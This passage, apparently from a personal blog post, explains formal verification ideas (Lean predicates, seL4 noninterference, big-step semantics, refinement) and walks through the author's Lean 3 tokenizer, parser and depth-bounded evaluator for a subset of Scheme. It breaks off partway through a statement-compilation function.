way, we lose the ability to request that Lean evaluate it: - -#+BEGIN_SRC lean4 -#eval sorted' [2, 1, 3] --- ERROR: failed to synthesize --- Decidable (sorted' [2, 1, 3]) -#+END_SRC - -Which is a bit of a pain, because you sometimes want to be able to complete a proof by saying "well, if we just /evaluate/ this expression, the left-hand side is equal to the right-hand side." So I get the impression it's beneficial to deal with propositions as functions as frequently as possible. I might compare propositions as functions to constructive mathematics, and inductive predicates to classical mathematics. - -The examples above are close to what we mean by "predicate" in programming. The first tells you if a list is sorted or not -- that fact is either =true= or =false=. The second just tells you if a list is sorted, though you can prove that a list is not sorted if no rules can be applied to make the predicate true (by case analysis). In this case, the fact is either =true= or =false= as well. But you can have predicates over free variables, or higher-order predicates about the universe. For example, "all lists are sorted" is a predicate that can be represented in Lean as =∀ (xs : List Nat), sorted xs=. This is clearly false as we can find a finite counterexample, but higher-order predicates of these form begin to cross the line between decidable and not. We need a proof, rather than a computation, to prove higher-order predicates (though for a finite counterexample, the proof may amount to computation.) - -In either case, specification in a theorem prover amounts to writing predicates. I greatly simplified in my above description of the seL4 specification. There is no formal definition of "confidentiality," per se, but some specific properties that arguably fall under the umbrella of confidentiality. For example, that no data cannot be inferred without appropriate read authority. - -#+BEGIN_SRC prog -text \A generalisation of Nonleakage.\ -definition Nonleakage_gen :: "bool" where - "Nonleakage_gen \ - \as s u t. reachable s \ reachable t - \ s \schedDomain\ t - \ s \(sources as s u)\ t - \ uwr_equiv s as t as u" -#+END_SRC - -(This is from =proof/infoflow/Noninterference_Base.thy=.) - -** Programming Language Semantics - -Another way this approach differs from model checking is that we end up dealing with a very low-level specification of the system: its source code. To effectively reason about source code, we need to be able to assign meaning to the different constructs that exist in language, which we can do by providing a formal semantics. There are numerous approaches to doing so, but the three we covered in 1951X were "big-step", "small-step", and "denotational." - -Both "big-step" and "small-step" semantics specify rules of inference. In the case of big-step: "if execution of a statement x begins in state S, it will end up in state S'". In the case of small-step: "if execution of a statement x begins in state S, the abstract machine will then end up executing statement x' in state S'." Both represent the same idea, but small-step is much more granular and, hence, is more effective for models of sequential computation akin to the C abstract machine than something like the lambda calculus, so in considering a subset of Scheme for my final project, I gave a "big-step" semantics for said subset. Rules had the following form: - -#+BEGIN_SRC lean -| self_evaluating {expr s} - (h_not_lambda : ¬ is_lambda expr): - big_step - (stmt.expr expr, s) - (expr, s) -#+END_SRC - -Essentially, "for any =expr= that we can prove isn't a lambda expression there's a 'big step' from the wrapped version of =expr= to an unwrapped version of =expr=, and it has no effect on the state." Of course, lambda expressions are self-evaluating in Scheme, but my choice of representation forced me to model that with a separate rule. - -#+BEGIN_SRC lean -| construct_compound_procedure {args body closure s} - (h_well_formed : mk_compound_procedure s args body = except.ok closure): - big_step - (stmt.expr (atom.list ([(atom.symbol "lambda"), args] ++ body)), s) - (closure, s) -#+END_SRC - -I don't feel qualified to give an explanation of denotational semantics. It was explained to me as a way of expressing programming language semantics as "mathematical objects," and we explored that idea by considering programs as relations (particularly the composition of relations), but I suspect there's significant nuance to this because.. I would argue that rules of inference are also mathematical objects. In either case, I'll probably be able to give an explanation in a week or two when I find myself in the deep end. I'll be having to specify programming language semantics very soon as part of what I'm doing with Rob and Shriram. - -** Refinement - -"Refinement" has a very specific meaning in mathematics. In particular, a relation $S^{\prime}$ is said to _refine_ another relation $S$ if $S^{\prime} \subseteq S$. In the case of verifying software, an implementation X "refines" a specification Y if all behaviors that can be observed of X can adequately be explained by the specification Y. More succinctly: the behaviors of X is a subset of the behaviors of Y. There are a /lot/ of different approaches to making refinement tractable but they tend to come down to the idea that we can map states in the abstract model to states in the implementation, and vice versa. This lets us consider the problem of proving that "all programs in the abstract model have a correct equivalent in the concrete model" in pieces rather than as a whole. - -This is another area I'm as yet not especially familiar with. I was previously working through /Data Refinement: Model-Oriented Proof Methods and their Comparison/ by de Roever and Engelhardt until I realized that I don't have any near-term need to understand refinement at that level, and decided I would come back to it when it's more apropos. - -** Application: Proving the Correctness of a Scheme Program - -I had originally set out to prove the correctness of the meta-circular evaluator presented in [[https://en.wikipedia.org/wiki/Structure_and_Interpretation_of_Computer_Programs][Structure and Interpretation of Computer Programs]] for my final project, but after finishing my final for cryptography, I had about three restless evenings left to work on the project and I was nowhere near that, so I just submitted an interpreter in Lean and a proof that a program correctly computes the factorial function according to the some semantics for a subset of Scheme. - -Most Scheme implementations used today are either R5RS, R6RS, or R7RS, which are far more comprehensive than what my semantics considered. Namely: lambda expressions and evaluations, basic lexical environments, basic control flow, integers and integer arithmetic, symbols, and lists. Notably: no continuations, conditions, strings, or arbitrary-precision arithmetic. - -I avoided non-integer numbers because real numbers (shallowly-encoded in Lean) can't really be used in computations (the mathematical definition of a real number encodes an infinite amount of information). Even though the set of integers has infinite cardinality, they're much easier to use and reason about in Lean. Lean 4 has support for floating numbers but, again, we used Lean 3 for this class, so I stuck with Integers. - -What follows is a lot of Lean code with minimal commentary. I've had this project tucked away for a couple of months and to explain it like I did the Alloy example would require at least a couple days of refreshing my memory -- and I expect the resulting explanation would be incredibly lengthy if I explained everything in as much detail. Don't feel bad about skimming, or skipping to the end entirely. You aren't missing too much if you do. I include this mostly to satisfy any curiosities. - -... - -Returning to the idea of Lean as a general-purpose programming language... while we can write proofs about the semantics of Lisp without a mechanical parser, I think it's a simple enough example to show off some concepts in Lean. Let's start with a lexical analyzer for s-expressions. Obviously, we'll need some sort of data structure for representing tokens, and Lean fortunately supports inductive (or algebraic, or enumerated) data types. - -#+BEGIN_SRC lean -inductive token : Type -| eof : token -| lparen : token -| rparen : token -| quot : token -| numeral : ℕ → token -| symbol : string → token -#+END_SRC - -They're introduced with =inductive=. Each name to the left of the =:= is the constructor (or case) name, and the right-hand side is the type. Like an =enum= in Rust, inductive data types can contain no information (=token=) or they can contain some associated data like an integer (=ℤ → token=) or a string (=string → token=). - -We'll probably also want to be able to print our token streams. - -#+BEGIN_SRC lean -def token.repr : token → string -| (token.eof) := "EOF" -| (token.lparen) := "LPAREN" -| (token.rparen) := "RPAREN" -| (token.quot) := "QUOT" -| (token.numeral n) := "NUMBER " ++ (to_string n) -| (token.symbol s) := "SYMBOL " ++ s -instance : has_repr token := ⟨token.repr⟩ -#+END_SRC - -=has_repr= is like the =Show= typeclass in Haskell. It specifies an interface for displaying an object as a string. It's a single method in Lean. Here's some pretty awful Lean code for converting a string into a token stream. - -#+BEGIN_SRC lean -meta def take_numeric_helper : list char → list char × list char -| (list.cons x rest) := - if x.is_digit then - let result := take_numeric_helper rest in - (list.cons x result.fst, result.snd) - else ([], (list.cons x rest)) -| _ := ([], []) -meta def take_numeric (s : list char) : (token × list char) := -let result := take_numeric_helper s in - (token.numeral (string.to_nat (string.join (list.map char.to_string result.fst))), - result.snd) - -meta def take_symbol_helper : list char → list char × list char -| (list.cons x rest) := - if (¬ (x.is_whitespace ∨ x = ')')) then - let result := take_symbol_helper rest in - (list.cons x result.fst, result.snd) - else ([], (list.cons x rest)) -| _ := ([], []) -meta def take_symbol (s : list char) : (token × list char) := -let result := take_symbol_helper s in - (token.symbol (string.join (list.map char.to_string result.fst)), - result.snd) - -meta def tokenize_internal : list char → list token -| (list.cons '(' rest) := list.cons token.lparen (tokenize_internal rest) -| (list.cons ')' rest) := list.cons token.rparen (tokenize_internal rest) -| (list.cons '\'' rest) := list.cons token.quot (tokenize_internal rest) -| (list.cons x rest) := if char.is_digit x then - let result := take_numeric (list.cons x rest) in - list.cons result.fst (tokenize_internal result.snd) - else if (¬ char.is_whitespace x) then - let result := take_symbol (list.cons x rest) in - list.cons result.fst (tokenize_internal result.snd) - else - tokenize_internal rest -| _ := [token.eof] - -meta def tokenize (s : string) : list token := tokenize_internal (string.to_list s) - -#eval tokenize "(define (list-of-values exps env) - (if (no-operands? exps) - '() - (cons (eval (first-operand exps) env) - (list-of-values (rest-operands exps) env))))" -#+END_SRC - -These are all "=meta=" functions because I don't want to have to prove to Lean that they're well-founded and always terminate. =meta= functions can be evaluated, but they can't be used in proofs, so they're useful for auxiliary automation and not much else. - -Of course, a lexical analyzer is just a step toward building a parser, so we'll model the things we'd like to parse and reason about. - -#+BEGIN_SRC lean -inductive atom : Type -| undefined : atom -| boolean : bool → atom -| number : ℤ → atom -| primitive_procedure : string → atom -| compound_procedure : (string → option atom) → list string → atom → atom -| symbol : string → atom -| list : list atom → atom -| cell : atom → atom → atom - -instance atom_inhabited : inhabited atom := - inhabited.mk (atom.undefined) -#+END_SRC - -The =atom= type will be useful in specifying the semantics as well as the parser. I'm bastardizing the term somewhat since "atom" has a pretty specific meaning in Lisp that is distinct from how I'm using it here. - -=inhabited= is another typeclass which tells us that an instance of =atom= can actually be constructed (which isn't true of all types you might want to deal with in Lean.) - -We can also write some automation to pretty-print atoms. - -#+BEGIN_SRC lean -meta def atom.repr : atom → string -| (atom.undefined) := "" -| (atom.boolean bool) := if bool then "#t" else "#f" -| (atom.number n) := (to_string n) -| (atom.primitive_procedure sym) := "" -| (atom.compound_procedure _ args body) := "(λ (" ++ string.intercalate " " args ++ ") " ++ (atom.repr body) ++ ")" -| (atom.symbol sym) := sym -| (atom.list lst) := "(" ++ string.intercalate " " (list.map atom.repr lst) ++ ")" -| (atom.cell car cdr) := "(" ++ atom.repr car ++ " . " ++ atom.repr cdr ++ ")" -meta instance : has_repr atom := ⟨atom.repr⟩ -#+END_SRC - -The parser is fairly simple, too, but we have to deal with mutual recursion. - -#+BEGIN_SRC lean -meta def parse_until_rparen : ℤ → list token → option (list token × list token) -| 0 (list.cons (token.rparen) rest) := some ([], rest) -| n (list.cons (token.rparen) rest) := - match parse_until_rparen (n - 1) rest with - | none := none - | some result := some (list.cons token.rparen result.fst, result.snd) - end -| n (list.cons (token.lparen) rest) := - match parse_until_rparen (n + 1) rest with - | none := none - | some result := (list.cons token.lparen result.fst, result.snd) - end -| n (list.cons tok rest) := - match parse_until_rparen n rest with - | none := none - | some result := some (list.cons tok result.fst, result.snd) - end -| n (list.nil) := none - -meta mutual def parse_one, parse -with parse_one : list token → option (atom × list token) -| (list.cons token.lparen rest) := - match parse_until_rparen 0 rest with - | none := none - | some result := some (atom.list (parse result.fst), result.snd) - end -| (list.cons token.quot rest) := - match parse_one rest with - | none := none - | some result := some (atom.list [(atom.symbol "quote"), result.fst], result.snd) - end -| (list.cons (token.numeral n) rest) := some (atom.number n, rest) -| (list.cons (token.symbol "#t") rest) := some (atom.boolean tt, rest) -| (list.cons (token.symbol "#f") rest) := some (atom.boolean ff, rest) -| (list.cons (token.symbol sym) rest) := some (atom.symbol sym, rest) -| _ := none -with parse : list token → list atom -| (list.nil) := [] -| stream := match parse_one stream with -| none := [] -| some (result, (list.nil)) := [result] -| some (result, rest) := (list.cons result (parse rest)) -end - -#eval list.map atom.repr (parse (tokenize "(+ 2 4)")) -#eval list.map atom.repr (parse (tokenize "(define (list-of-values exps env) - (if (no-operands? exps) - '() - (cons (eval (first-operand exps) env) - (list-of-values (rest-operands exps) env))))")) -#+END_SRC - -The evaluator has a notion of errors, whereas the language semantics doesn't, so we'll introduce a type for that as well. - -#+BEGIN_SRC lean -inductive lisp_error : Type -| expected_number : lisp_error -| expected_symbol : lisp_error -| expected_list : lisp_error -| no_such_variable : string → lisp_error -| bad_lambda : lisp_error -| bad_begin : lisp_error -| bad_if : lisp_error -| bad_define : lisp_error -| bad_arity : lisp_error -| excessive_recursion : lisp_error -| unknown_form : lisp_error - -def lisp_error.repr : lisp_error → string -| (lisp_error.expected_number) := "Expected number" -| (lisp_error.expected_symbol) := "Expected symbol" -| (lisp_error.expected_list) := "Expected list" -| (lisp_error.no_such_variable sym) := "No such variable: " ++ sym -| (lisp_error.bad_lambda) := "Bad lambda form" -| (lisp_error.bad_begin) := "Bad begin form" -| (lisp_error.bad_if) := "Bad if form" -| (lisp_error.bad_define) := "Bad define form" -| (lisp_error.bad_arity) := "Compound procedure called with wrong number of arguments" -| (lisp_error.excessive_recursion) := "Maximum recursion depth exceeded" -| (lisp_error.unknown_form) := "Unknown form" -instance : has_repr lisp_error := ⟨lisp_error.repr⟩ - -def lisp_result (α : Type) := except lisp_error α - -meta def lisp_result_atom.repr : lisp_result atom → string -| (except.ok result) := atom.repr result -| (except.error err) := "ERROR: " ++ lisp_error.repr err --- instance : has_repr lisp_result := ⟨lisp_result.repr⟩ - -meta def lisp_result.repr {α : Type} : lisp_result (atom × α) → string -| (except.ok (result, _)) := atom.repr result -| (except.error err) := "ERROR: " ++ lisp_error.repr err -#+END_SRC - -Now, we also need a notion of "state" and "frame." - -#+BEGIN_SRC lean -def state : Type := string → option atom -instance state_inhabited : inhabited state := -inhabited.mk (λ x, none) - -def state.update (name : string) (val : atom) (s : state) : state := -λname', if name' = name then some val else s name' - -notation s `{` name ` ↦ ` val `}` := state.update name val s - -def lookup_var : string → list state → option atom -| var (list.nil) := none -| var (list.cons s rest) := - match s var with - | some result := some result - | none := lookup_var var rest - end - --- If we've just pushed a frame onto the environment, and a variable exists in --- that frame, then looking up that variable in the environment is equivalent to --- looking it up in the frame. -lemma lookup_head (x : string) (y : state) (ys : list state) (z : atom) : - y x = some z → lookup_var x (y :: ys) = some z := -begin - intro h, - simp [h, lookup_var], -end - -def set_var : string → atom → list state → lisp_result (list state) -| place new_value (list.nil) := except.error (lisp_error.no_such_variable place) -| place new_value (list.cons s rest) := - match s place with - | (some _) := except.ok (list.cons (s{place ↦ new_value}) rest) - | none := - match set_var place new_value rest with - | (except.ok rest') := except.ok (list.cons s rest') - | (except.error e) := except.error e - end - end - --- This is only well-defined if |names| = |values|. -def new_frame : list string → list atom → state -| (list.cons name rest₁) (list.cons value rest₂) := (new_frame rest₁ rest₂){name ↦ value} -| _ _ := λ _, none -#+END_SRC - -And, finally, we can get into the implementation of evaluation. First, we'll implement evaluation of procedures. Either the procedure is primitive (or built-in), like =+=, it's a named compound procedure, it's a lambda form, or the name doesn't exist in the environment. - -#+BEGIN_EXPORT html -
-#+END_EXPORT - -#+BEGIN_SRC lean -def collect_params : atom → option (list string) -| (atom.list (list.cons (atom.symbol param) rest)) := - match collect_params (atom.list rest) with - | some rest' := some (list.cons param rest') - | none := none - end -| (atom.list (list.nil)) := some [] -| _ := none - -#eval collect_params (atom.list [atom.symbol "x"]) -#eval collect_params (atom.list [atom.symbol "x", atom.symbol "y"]) - -def mk_compound_procedure - (closure_env : list state) - (paramlist : atom) - (body : list atom) - : lisp_result atom := -match collect_params paramlist with -| some params := - except.ok - (atom.compound_procedure - (λ x, lookup_var x closure_env) - params - (atom.list (list.cons (atom.symbol "begin") body))) -| none := except.error (lisp_error.bad_lambda) -end - -#eval lisp_result_atom.repr - (mk_compound_procedure - [(λ _, none)] - (atom.list [atom.symbol "x"]) - [(atom.symbol "+"), (atom.number 2), (atom.number 4)]) - -def symbol_name : atom → option string -| (atom.symbol name) := some name -| _ := none - -def is_primitive_procedure (name : string) : bool := - name ∈ ["+", "-", "*", "/", "=", "car", "cdr", "cons", "null?", "eqv?"] - -@[simp] -lemma add_is_primitive : is_primitive_procedure "+" := by exact rfl -@[simp] -lemma sub_is_primitive : is_primitive_procedure "-" := by exact rfl -@[simp] -lemma mul_is_primitive : is_primitive_procedure "*" := by exact rfl -@[simp] -lemma div_is_primitive : is_primitive_procedure "/" := by exact rfl -@[simp] -lemma eq_is_primitive : is_primitive_procedure "=" := by exact rfl -@[simp] -lemma car_is_primitive : is_primitive_procedure "car" := by exact rfl -@[simp] -lemma cdr_is_primitive : is_primitive_procedure "cdr" := by exact rfl -@[simp] -lemma cons_is_primitive : is_primitive_procedure "cons" := by exact rfl -@[simp] -lemma null_is_primitive : is_primitive_procedure "null?" := by exact rfl -@[simp] -lemma eqv_is_primitive : is_primitive_procedure "eqv?" := by exact rfl - -def fold_maybe_numeric : (ℤ → ℤ → ℤ) → ℤ → list atom → option ℤ -| op nil (list.cons (atom.number n) rest) := - do { - rest_sum ← fold_maybe_numeric op nil rest, - pure (op n rest_sum) } -| op nil (list.nil) := some nil -| _ _ _ := none - -def primitive_add (args : list atom) : lisp_result atom := -match fold_maybe_numeric (λ x y, x + y) 0 args with -| some result := except.ok (atom.number result) -| none := except.error lisp_error.expected_number -end - -def primitive_sub (args : list atom) : lisp_result atom := -match fold_maybe_numeric (λ x y, x - y) 0 args with -| some result := except.ok (atom.number result) -| none := except.error lisp_error.expected_number -end - -def primitive_mul (args : list atom) : lisp_result atom := -match fold_maybe_numeric (λ x y, x * y) 1 args with -| some result := except.ok (atom.number result) -| none := except.error lisp_error.expected_number -end - -def primitive_div (args : list atom) : lisp_result atom := -match fold_maybe_numeric (λ x y, x / y) 1 args with -| some result := except.ok (atom.number result) -| none := except.error lisp_error.expected_number -end - -def attach_state : lisp_result atom → list state → lisp_result (atom × list state) -| (except.ok result) s := except.ok (result, s) -| (except.error e) _ := except.error e - --- TODO: Error reporting could be better. -def primitive_eq (args : list atom) : lisp_result atom := -match args with -| (list.cons (atom.number x) (list.cons (atom.number y) _)) := - except.ok (if x = y then atom.boolean tt else atom.boolean ff) -| _ := except.error lisp_error.expected_number -end - --- This is where I got sick of being explicit about the return types. -def primitive_car (args : list atom) : lisp_result atom := -match args with -| (list.cons (atom.cell car cdr) _) := except.ok car -| (list.cons car cdr) := except.ok car -| _ := except.error lisp_error.expected_list -end - -def primitive_cdr (args : list atom) : lisp_result atom := -match args with -| (list.cons (atom.cell car cdr) _) := except.ok cdr -| (list.cons car cdr) := except.ok (atom.list cdr) -| _ := except.error lisp_error.expected_list -end - -def primitive_cons (args : list atom) : lisp_result atom := -match args with -| (list.cons car (list.cons (atom.list cdr) _)) := except.ok (atom.list (list.cons car cdr)) -| (list.cons car (list.cons cdr _)) := except.ok (atom.cell car cdr) -| _ := except.error lisp_error.expected_list -end - -def primitive_null (args : list atom) : lisp_result atom := -match args with -| (list.cons (atom.list (list.nil)) _) := except.ok (atom.boolean tt) -| (list.cons (atom.list _) _) := except.ok (atom.boolean ff) -| _ := except.error lisp_error.expected_list -end - -def primitive_eqv (args : list atom) : lisp_result atom := -match args with -| (list.cons (atom.symbol x) (list.cons (atom.symbol y) _)) := except.ok (if x = y then atom.boolean tt else atom.boolean ff) -| _ := except.error lisp_error.expected_symbol -end -#+END_SRC - -#+BEGIN_EXPORT html -
-#+END_EXPORT - -We can't actually encode a "proper" Scheme implementation in Lean because there'a possibility that we write a program that doesn't terminate. If we cap the maximum evaluation depth, though, we can prove that the evaluator is well-founded. This more accurately models the real world, anyway, since computers have a finite amount of memory. So we have an =evaluation_state= which maintains the current =stack_depth=, and we'll use that as both a guardrail that allows us to prove that our recursive =eval= function eventually terminates. - -#+BEGIN_EXPORT html -
-#+END_EXPORT - -#+BEGIN_SRC lean -structure evaluation_state := -(stack_depth : ℕ) -(environment : list state) -(form : atom) - -def evaluation_state_measure : psum evaluation_state (psum evaluation_state evaluation_state) → ℕ -| (psum.inl state) := state.stack_depth -| (psum.inr (psum.inl state)) := state.stack_depth -| (psum.inr (psum.inr state)) := state.stack_depth - -mutual def eval, apply, eval_param_list - -with eval : evaluation_state → lisp_result (atom × list state) -| (evaluation_state.mk 0 _ _) := - except.error (lisp_error.excessive_recursion) -| (evaluation_state.mk (stack_depth + 1) s (atom.undefined)) := - except.ok (atom.undefined, s) -| (evaluation_state.mk (stack_depth + 1) s (atom.boolean bool)) := - except.ok (atom.boolean bool, s) -| (evaluation_state.mk (stack_depth + 1) s (atom.number n)) := - except.ok (atom.number n, s) -| (evaluation_state.mk (stack_depth + 1) s (atom.cell car cdr)) := - except.ok (atom.cell car cdr, s) -| (evaluation_state.mk (stack_depth + 1) s (atom.primitive_procedure name)) := - except.ok (atom.primitive_procedure name, s) -| (evaluation_state.mk (stack_depth + 1) s (atom.compound_procedure closure_env paramlist body)) := - except.ok (atom.compound_procedure closure_env paramlist body, s) -| (evaluation_state.mk (stack_depth + 1) s (atom.symbol sym)) := - if sym = "+" then - except.ok (atom.primitive_procedure "+", s) - else if sym = "-" then - except.ok (atom.primitive_procedure "-", s) - else if sym = "*" then - except.ok (atom.primitive_procedure "*", s) - else if sym = "/" then - except.ok (atom.primitive_procedure "/", s) - else if sym = "=" then - except.ok (atom.primitive_procedure "=", s) - else if sym = "car" then - except.ok (atom.primitive_procedure "car", s) - else if sym = "cdr" then - except.ok (atom.primitive_procedure "cdr", s) - else if sym = "cons" then - except.ok (atom.primitive_procedure "cons", s) - else if sym = "null?" then - except.ok (atom.primitive_procedure "null?", s) - else if sym = "eqv?" then - except.ok (atom.primitive_procedure "eqv?", s) - else match (lookup_var sym s) with - | none := except.error (lisp_error.no_such_variable sym) - | some value := except.ok (value, s) - end -| (evaluation_state.mk (stack_depth + 1) s (atom.list (list.cons func rest))) := - if symbol_name func = some "quote" then - except.ok (list.head rest, s) - else if symbol_name func = some "lambda" then - match mk_compound_procedure s (list.head rest) (list.tail rest) with - | (except.ok lambda) := except.ok (lambda, s) - | (except.error err) := except.error err - end - else if symbol_name func = some "begin" then - match rest with - | (list.cons head (list.nil)) := - eval (evaluation_state.mk stack_depth s head) - | (list.cons head tail) := - match eval (evaluation_state.mk stack_depth s head) with - | (except.ok (result, s')) := - eval (evaluation_state.mk stack_depth s' (atom.list (list.cons (atom.symbol "begin") tail))) - | (except.error e) := (except.error e) - end - | _ := (except.error lisp_error.bad_begin) - end - else if symbol_name func = some "set!" then - match rest with - | (list.cons (atom.symbol place) (list.cons value _)) := - match set_var place value s with - | (except.ok s') := except.ok (atom.undefined, s') - | (except.error e) := except.error e - end - | _ := except.error lisp_error.bad_arity - end - else if symbol_name func = some "if" then - match rest with - | (list.cons cond (list.cons ite_true (list.nil))) := - match eval (evaluation_state.mk stack_depth s cond) with - | except.ok ((atom.boolean ff), s') := except.ok (atom.undefined, s') - | except.ok (_, s') := - match eval (evaluation_state.mk stack_depth s ite_true) with - | except.ok (result, s'') := except.ok (result, s'') - | except.error e := except.error e - end - | except.error e := except.error e - end - | (list.cons cond (list.cons ite_true (list.cons ite_false _))) := - match eval (evaluation_state.mk stack_depth s cond) with - | except.ok ((atom.boolean ff), s') := - match eval (evaluation_state.mk stack_depth s ite_false) with - | except.ok (result, s'') := except.ok (result, s'') - | except.error e := except.error e - end - | except.ok (_, s') := - match eval (evaluation_state.mk stack_depth s ite_true) with - | except.ok (result, s'') := except.ok (result, s'') - | except.error e := except.error e - end - | except.error e := except.error e - end - | _ := except.error lisp_error.bad_if - end - else if symbol_name func = some "define" then - match rest with - -- Function definition. - | (list.cons (atom.list (list.cons (atom.symbol name) args)) body) := - match mk_compound_procedure s (atom.list args) body with - | (except.ok procedure) := except.ok (atom.undefined, list.cons ((list.head s){name ↦ procedure}) (list.tail s)) - | (except.error e) := except.error e - end - | (list.cons (atom.symbol name) body) := - match eval (evaluation_state.mk stack_depth s (list.head body)) with - | (except.ok (result, _)) := except.ok (atom.undefined, list.cons ((list.head s){name ↦ result}) (list.tail s)) - | (except.error e) := except.error e - end - | _ := except.error lisp_error.bad_define - end - else apply (evaluation_state.mk stack_depth s (atom.list (list.cons func rest))) -| _ := except.error lisp_error.unknown_form - -with apply : evaluation_state → lisp_result (atom × list state) -| (evaluation_state.mk 0 _ _) := - except.error (lisp_error.excessive_recursion) -| (evaluation_state.mk (stack_depth + 1) s (atom.list (list.cons func args))) := - let func' := eval (evaluation_state.mk stack_depth s func), - args_evaluated := eval_param_list (evaluation_state.mk stack_depth s (atom.list args)) in - match func' with - | (except.ok ((atom.primitive_procedure "+"), _)) := - match args_evaluated with - | (except.ok (args', s')) := attach_state (primitive_add args') s - | (except.error e) := except.error e - end - | (except.ok ((atom.primitive_procedure "-"), _)) := - match args_evaluated with - | (except.ok (args', s')) := attach_state (primitive_sub args') s - | (except.error e) := except.error e - end - | (except.ok ((atom.primitive_procedure "*"), _)) := - match args_evaluated with - | (except.ok (args', s')) := attach_state (primitive_mul args') s - | (except.error e) := except.error e - end - | (except.ok ((atom.primitive_procedure "/"), _)) := - match args_evaluated with - | (except.ok (args', s')) := attach_state (primitive_div args') s - | (except.error e) := except.error e - end - | (except.ok ((atom.primitive_procedure "="), _)) := - match args_evaluated with - | (except.ok (args', s')) := attach_state (primitive_eq args') s - | (except.error e) := except.error e - end - | (except.ok ((atom.primitive_procedure "car"), _)) := - match args_evaluated with - | (except.ok (args', s')) := attach_state (primitive_car args') s - | (except.error e) := except.error e - end - | (except.ok ((atom.primitive_procedure "cdr"), _)) := - match args_evaluated with - | (except.ok (args', s')) := attach_state (primitive_cdr args') s - | (except.error e) := except.error e - end - | (except.ok ((atom.primitive_procedure "cons"), _)) := - match args_evaluated with - | (except.ok (args', s')) := attach_state (primitive_cons args') s - | (except.error e) := except.error e - end - | (except.ok ((atom.primitive_procedure "null?"), _)) := - match args_evaluated with - | (except.ok (args', s')) := attach_state (primitive_null args') s - | (except.error e) := except.error e - end - | (except.ok ((atom.primitive_procedure "eqv?"), _)) := - match args_evaluated with - | (except.ok (args', s')) := attach_state (primitive_eqv args') s - | (except.error e) := except.error e - end - | (except.ok ((atom.primitive_procedure name), _)) := - except.error (lisp_error.no_such_variable name) - | (except.ok ((atom.compound_procedure closure_env paramlist body), s')) := - match args_evaluated with - | (except.ok (args', s')) := - let s'' := (list.cons (new_frame paramlist args') (list.cons closure_env s')) in - eval (evaluation_state.mk stack_depth s'' body) - | (except.error e) := except.error e - end - | _ := except.error (lisp_error.unknown_form) - end -| _ := except.error lisp_error.unknown_form - -with eval_param_list : evaluation_state → lisp_result (list atom × list state) -| (evaluation_state.mk 0 _ _) := - except.error (lisp_error.excessive_recursion) -| (evaluation_state.mk stack_depth s (atom.list (list.nil))) := - except.ok ([], s) -| (evaluation_state.mk (stack_depth + 1) s (atom.list (list.cons elt rest))) := - match eval (evaluation_state.mk stack_depth s elt) with - | (except.ok (result_head, s')) := - match eval_param_list (evaluation_state.mk stack_depth s' (atom.list rest)) with - | except.ok (result_rest, s'') := except.ok (list.cons result_head result_rest, s'') - | (except.error e) := except.error e - end - | (except.error e) := except.error e - end -| _ := except.error lisp_error.unknown_form - -using_well_founded {rel_tac := λ _ _, `[exact ⟨_, measure_wf evaluation_state_measure⟩]} -#+END_SRC - -#+BEGIN_EXPORT html -
-#+END_EXPORT - -I found the evaluation state structure to actually be quite convenient in reasoning about things like whether or not an evaluation is finite. - -#+BEGIN_SRC lean -lemma finite_implies_nonzero_stack_depth - (form result : atom) - (environment environment' : list state) - (stack_depth : ℕ) - (h_finite : ¬ (eval (evaluation_state.mk stack_depth environment form) = except.error (lisp_error.excessive_recursion))) : - stack_depth > 0 := -begin - by_contra', - apply h_finite, - simp [le_of_eq] at this, - simp [this, eval], -end -#+END_SRC - -The approach I've taken for the program semantics is to compile the expression to a "statement" type, and then reason about the big step semantics of those statements. - -At the beginning, I was doing small step semantics, until I realized that it was really hard to reason about a language where everything is an expression without being able to assume hypotheses about the transitive nature of small steps, which Lean didn't like at all. Something about nesting inductive predicates. - -#+BEGIN_EXPORT html -
-#+END_EXPORT - -#+BEGIN_SRC lean -inductive stmt : Type -| expr : atom → stmt -- 1, #tt, symbol, ... -| var : string → stmt -- var-name -| seq : stmt → stmt → stmt -- (begin form ... rest) -| assign : string → stmt → stmt -- (set! name expr) -| define : string → stmt → stmt -- (define name expr) -| ite : stmt → stmt → stmt → stmt -- (if cond expr-true expr-false) -| app : stmt → list stmt → stmt -- ((lambda (arg1 ... argn) body) param1 ... paramn) - -meta def stmt.repr : stmt → string -| (stmt.expr expr) := "(expr " ++ atom.repr expr ++ ")" -| (stmt.var name) := "(deref " ++ name ++ ")" -| (stmt.seq car cdr) := "(seq " ++ stmt.repr car ++ " " ++ stmt.repr cdr ++ ")" -| (stmt.assign place rhs) := "(assign " ++ place ++ " " ++ stmt.repr rhs ++ ")" -| (stmt.define place rhs) := "(define " ++ place ++ " " ++ stmt.repr rhs ++ ")" -| (stmt.ite cond if_true if_false) := "(if " ++ stmt.repr cond ++ " " ++ stmt.repr if_true ++ " " ++ stmt.repr if_false ++ ")" -| (stmt.app func args) := "(application " ++ stmt.repr func ++ " " ++ string.intercalate " " (list.map stmt.repr args) ++ ")" - -instance stmt_inhabited : inhabited stmt := -inhabited.mk (stmt.expr (atom.undefined)) - -def is_some {α : Type} : option α → Prop -| (some _) := true -| _ := false - -def is_lambda : atom → Prop -| (atom.list (list.cons (atom.symbol "lambda") _)) := true -| _ := false - -def seq_from_list_stmt : list stmt → stmt -| (list.nil) := stmt.expr atom.undefined -| (list.cons head (list.nil)) := head -| (list.cons head tail) := stmt.seq head (seq_from_list_stmt tail) - -mutual def compile_stmt, compile_stmt_list -with compile_stmt : atom → option stmt --- Arity 0 -| (atom.list (list.cons func (list.nil))) := - do { - result ← compile_stmt func, - pure (stmt.app result []) } --- Arity 1 -| (atom.list (list.cons func (list.cons rest (list.nil)))) := - match func with - | (atom.symbol "begin") := compile_stmt rest - | (atom.symbol "quote") := some (stmt.expr rest) - | _ := do { - result₁ ← compile_stmt func, - result₂ ← compile_stmt rest, - pure (stmt.app result₁ [result₂]) } - end --- Arity 2 -| (atom.list (list.cons func (list.cons place (list.cons rhs (list.nil))))) := - match func with - | (atom.symbol "begin") := - do { - result₁ ← compile_stmt func, - result₂ ← compile_stmt place, - result₃ ← compile_stmt rhs, - pure (stmt.seq result₂ result₃) } - | (atom.symbol "set!") := - match place with - | (atom.symbol place) := - do { - rhs_result ← compile_stmt rhs, - pure (stmt.assign place rhs_result) } - | _ := none - end - -- We'll convert lambda expressions into compound procedures at evaluation - -- time. We don't have scope information at compile time, so we can't - -- construct closed environments. - | (atom.symbol "lambda") := some (stmt.expr (atom.list [func, place, rhs])) - | (atom.symbol "define") := - match place with - -- Syntax sugar for (define func (lambda (param₁ ...) body)) - | (atom.list (list.cons (atom.symbol func_name) params)) := - some (stmt.expr - (atom.list 